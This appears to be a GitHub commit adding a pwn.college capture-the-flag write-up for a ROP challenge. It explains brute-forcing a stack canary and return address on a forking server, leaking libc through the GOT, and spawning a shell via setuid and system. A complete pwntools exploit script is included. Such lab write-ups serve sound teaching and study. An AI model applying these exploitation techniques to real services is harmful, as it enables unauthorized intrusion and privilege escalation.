Skip to content

Commit 7b61761

Browse files
committed
Added ROP-level-14 write-up
1 parent ec8a86e commit 7b61761

File tree

1 file changed

+262
-0
lines changed

1 file changed

+262
-0
lines changed
Lines changed: 262 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,262 @@
1+
---
2+
layout: post
3+
title: (ROP) level 14
4+
categories: pwn.college ROP
5+
date: 2025-07-13 13:23:04 +0300
6+
tags: ROP pwn.college stack-canary brute-force PIE ASLR ret2libc partial-overwrite
7+
---
8+
9+
## Information
10+
- category: pwn
11+
12+
## Description
13+
> Perform ROP against a network forkserver!
14+
15+
## Write-up
16+
**Connecting to the Challenge**
17+
18+
When you connect to the server at ```127.0.0.1``` on port ```1337``` using ```nc```, you'll notice that the program waits for input but gives no immediate output:
19+
```bash
20+
nc 127.0.0.1 1337
21+
ABCD
22+
Leaving!
23+
### Goodbye!
24+
```
25+
26+
**Protections in Place**
27+
The binary has multiple protections enabled:
28+
-**PIE** (Position Independent Executable)
29+
-**Stack** Canary
30+
-**ASLR** (Address Space Layout Randomization)
31+
32+
There’s **no direct leak**, so we need to **bypass all of them** in order to build a successful exploit.
33+
34+
```bash
35+
checksec babyrop_level14.1
36+
[*] '/home/k1k0/Desktop/program-security-dojo/return-oriented-programming/level-14-1/_0/babyrop_level14.1'
37+
Arch: amd64-64-little
38+
RELRO: Full RELRO
39+
Stack: Canary found
40+
NX: NX enabled
41+
PIE: PIE enabled
42+
SHSTK: Enabled
43+
IBT: Enabled
44+
Stripped: No
45+
```
46+
47+
**Brute-Forcing the Stack Canary**
48+
Since the program is running as a **forking server** and allows **unlimited reconnections**, we can **brute-force the stack canary one byte at a time**.
49+
50+
This method works because:
51+
- The canary is **at a fixed offset** from the input buffer.
52+
- The server forks a new process for each connection, so even if we crash one, the next attempt is fresh.
53+
- We can reuse the crash information to determine **which byte guess was correct**.
54+
55+
> This method is reliable as long as the process resets and the canary stays consistent between forks.
56+
{: .prompt-tip}
57+
58+
We’ll use `pwndbg` to determine this offset by:
59+
```plaintext
60+
Thread 2.1 "babyrop_level14" hit Breakpoint 1, 0x000056657562d90a in challenge ()
61+
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
62+
─────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────────────────────
63+
RAX 0x7ffef6753230 —▸ 0x56657562db30 (__libc_csu_init) ◂— endbr64
64+
RBX 0x56657562db30 (__libc_csu_init) ◂— endbr64
65+
RCX 0x7ffef67533b8 —▸ 0x7ffef6754224 ◂— '/challenge/babyrop_level14.1'
66+
RDX 0x1000
67+
RDI 0
68+
RSI 0x7ffef6753230 —▸ 0x56657562db30 (__libc_csu_init) ◂— endbr64
69+
R8 0
70+
R9 0x75157d625540 ◂— 0x75157d625540
71+
R10 0x75157d625810 ◂— 0x33a5
72+
R11 0x246
73+
R12 0x56657562d240 (_start) ◂— endbr64
74+
R13 0x7ffef67533b0 ◂— 1
75+
R14 0
76+
R15 0
77+
RBP 0x7ffef6753260 —▸ 0x7ffef67532c0 ◂— 0
78+
RSP 0x7ffef6753200 —▸ 0x566575630010 (stdout@@GLIBC_2.2.5) —▸ 0x75157d61f6a0 (_IO_2_1_stdout_) ◂— 0xfbad2887
79+
RIP 0x56657562d90a (challenge+55) ◂— call 0x56657562d1c0
80+
──────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]───────────────────────────────────────────────
81+
► 0x56657562d90a <challenge+55> call read@plt <read@plt>
82+
fd: 0 (socket:[677344362])
83+
buf: 0x7ffef6753230 —▸ 0x56657562db30 (__libc_csu_init) ◂— endbr64
84+
nbytes: 0x1000
85+
──────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────
86+
► 0 0x56657562d90a challenge+55
87+
1 0x56657562dafe main+457 <--- Ret addrr
88+
2 0x75157d456083 __libc_start_main+243
89+
3 0x56657562d26e _start+46
90+
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
91+
pwndbg> i f
92+
Stack level 0, frame at 0x7ffef6753270:
93+
rip = 0x56657562d90a in challenge; saved rip = 0x56657562dafe
94+
called by frame at 0x7ffef67532d0
95+
Arglist at 0x7ffef6753260, args:
96+
Locals at 0x7ffef6753260, Previous frame's sp is 0x7ffef6753270
97+
Saved registers:
98+
rbp at 0x7ffef6753260, rip at 0x7ffef6753268
99+
pwndbg> dist $rsi $rbp-0x8
100+
0x7ffef6753230->0x7ffef6753258 is 0x28 bytes (0x5 words)
101+
pwndbg> dist $rsi 0x7ffef6753270
102+
0x7ffef6753230->0x7ffef6753270 is 0x40 bytes (0x8 words)
103+
pwndbg>
104+
```
105+
> This offset tells us exactly how many bytes to send before reaching the canary.
106+
{: .prompt-tip}
107+
108+
**Brute-Forcing the Return Address to Bypass PIE**
109+
We already leaked or brute-forced the **stack canary**, and now we want to **find the full return address** on the stack to bypass **PIE** (Position Independent Executable).
110+
From the program behavior, we know:
111+
- The return address points to `main+457`, for example:
112+
```plaintext
113+
0x56657562dafe
114+
```
115+
- When the **correct return address** is in place, the program prints `"Goodbye"` — this gives us clear feedback during brute-forcing.
116+
117+
- PIE randomizes the **base address** of the binary every run.
118+
- But if we know the address of `main+457`, and we know the offset of `main` from the ELF base, we can calculate the base address like this:
119+
```plaintext
120+
elf_base = leaked_ret_address - offset_of_main_plus_457
121+
```
122+
123+
> This technique allows us to defeat PIE without a memory leak — just behavior-based brute force.
124+
{: .prompt-info}
125+
126+
**Leaking the Libc Base Address**
127+
Now that we’ve recovered:
128+
- ✅ The **PIE base address** (by brute-forcing the return address and subtracting the known offset of `main+457`)
129+
- ✅ The **stack canary**
130+
131+
We’ll use the **GOT (Global Offset Table)** to leak the actual address of a libc function. For example, we can print the address of `__libc_start_main` from the GOT:
132+
```plaintext
133+
puts(@GOT[__libc_start_main])
134+
```
135+
136+
Once we leak the runtime address of `__libc_start_main`, we simply subtract its known offset from libc (e.g. `0x24083`):
137+
```plaintext
138+
libc_base = leaked_libc_start_main - libc.symbols['__libc_start_main']
139+
```
140+
141+
> Use `puts(@got[func])` to leak any libc symbol, then resolve the full libc base from it.
142+
{: .prompt-tip}
143+
144+
145+
## Exploit
146+
```python
147+
from pwn import *
148+
149+
canary_offset = 0x28
150+
ret_offset = 0x38
151+
152+
def brute_canary():
153+
fixed = b"\x00"
154+
canary = fixed
155+
while len(canary) < 0x8:
156+
for byte in range(0x0,0xff):
157+
with remote("127.0.0.1",1337) as p:
158+
payload = b"A"*canary_offset + canary + p8(byte)
159+
160+
p.send(payload)
161+
res = p.recvall(timeout=1)
162+
163+
if b"*** stack smashing detected ***" not in res:
164+
canary += p8(byte)
165+
break
166+
return canary
167+
168+
def brute_ret(canary):
169+
ret = b"\xfe"
170+
while len(ret) < 0x6:
171+
for byte in range(0,0x100):
172+
r = remote("127.0.0.1",1337)
173+
payload = b"A"*canary_offset + canary + b"A"*8 + ret + p8(byte)
174+
r.send(payload)
175+
res = r.recvall(timeout=3)
176+
r.close()
177+
if b"### Goodbye!" in res:
178+
ret += p8(byte)
179+
break
180+
return ret
181+
182+
def leak_base(canary, ret):
183+
offset_main = 0x1afe # from symbol main+457
184+
offset__libc_start_main = 0x23f90
185+
186+
elfbase = u64(ret.ljust(8,b"\x00")) - offset_main
187+
elf = context.binary = ELF("/challenge/babyrop_level14.1")
188+
elf.address = elfbase
189+
rop = ROP(elf)
190+
191+
log.success(f"ELF Base: {hex(elfbase)}.")
192+
193+
payload = flat(
194+
b"A"*canary_offset,
195+
canary,
196+
b"B"*8,
197+
rop.rdi.address,
198+
elf.got['__libc_start_main'],
199+
elf.symbols['puts']
200+
)
201+
202+
while True:
203+
r = remote("127.0.0.1",1337)
204+
r.send(payload)
205+
res = r.recvall(timeout=2)
206+
207+
if (b"Leaving!" in res) and (b"*** stack" not in res):
208+
leak = res.strip().split(b"\n")[1]
209+
libcbase = u64(leak.ljust(8,b"\x00")) - offset__libc_start_main
210+
log.success(f"libc base: {hex(libcbase)}.")
211+
return libcbase
212+
213+
def send_payload(canary, libcbase):
214+
lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
215+
lib.address = libcbase
216+
rop = ROP(lib)
217+
218+
payload = flat(
219+
b"A"*canary_offset,
220+
canary,
221+
b"B"*8,
222+
223+
rop.ret.address,
224+
rop.rdi.address,
225+
0,
226+
lib.symbols['setuid'],
227+
228+
rop.ret.address,
229+
rop.rdi.address,
230+
next(lib.search(b"/bin/sh\x00")),
231+
lib.symbols["system"]
232+
)
233+
234+
r = remote("127.0.0.1",1337)
235+
r.send(payload)
236+
r.interactive()
237+
238+
def attack():
239+
try:
240+
canary = brute_canary()
241+
ret = brute_ret(canary)
242+
243+
log.success(f"Canary: {canary}.")
244+
log.success(f"(main+457): {ret}.")
245+
246+
libcbase = leak_base(canary, ret)
247+
send_payload(canary, libcbase)
248+
249+
except Exception as e:
250+
log.warning(f"Fail: {e}")
251+
252+
def main():
253+
attack()
254+
255+
if __name__ == "__main__":
256+
main()
257+
```
258+
259+
260+
261+
262+

0 commit comments

Comments
 (0)